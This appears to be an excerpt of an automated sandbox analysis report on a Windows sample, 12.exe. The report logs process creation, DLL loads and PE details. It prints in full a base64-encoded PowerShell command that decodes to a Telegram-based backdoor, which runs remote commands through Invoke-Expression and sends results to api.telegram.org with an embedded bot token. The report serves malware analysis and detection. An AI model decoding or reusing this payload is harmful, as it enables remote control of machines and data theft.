B1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1636,i,11664794565421518283,13165857320494331314,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\12.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 12.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 12.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 12.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\Admin\source\repos\ConsoleApplication5\x64\Release\ConsoleApplication5.pdb" source: 12.exe
Source:	Binary string: mscorlib.pdb -+1 source: powershell.exe, 00000004.00000002.4214181744.000001D5D74C8000.00000004.00000020.00020000.00000000.sdmp
